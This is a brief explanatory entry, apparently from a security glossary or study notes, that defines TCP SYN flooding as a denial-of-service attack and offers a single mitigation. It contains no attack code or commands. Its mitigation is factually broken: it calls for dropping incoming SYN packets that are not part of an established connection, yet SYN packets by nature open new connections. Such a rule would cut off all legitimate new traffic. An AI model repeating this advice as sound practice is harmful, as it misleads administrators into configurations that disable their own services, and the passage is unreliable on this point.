TCP SYN Flooding

TCP SYN flooding is a type of Denial of Service (DoS) attack which sends numerous SYN requests to the target system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

Mitigation:

The best way to mitigate a TCP SYN flood attack is to configure the firewall to drop incoming SYN packets that are not part of an established connection.
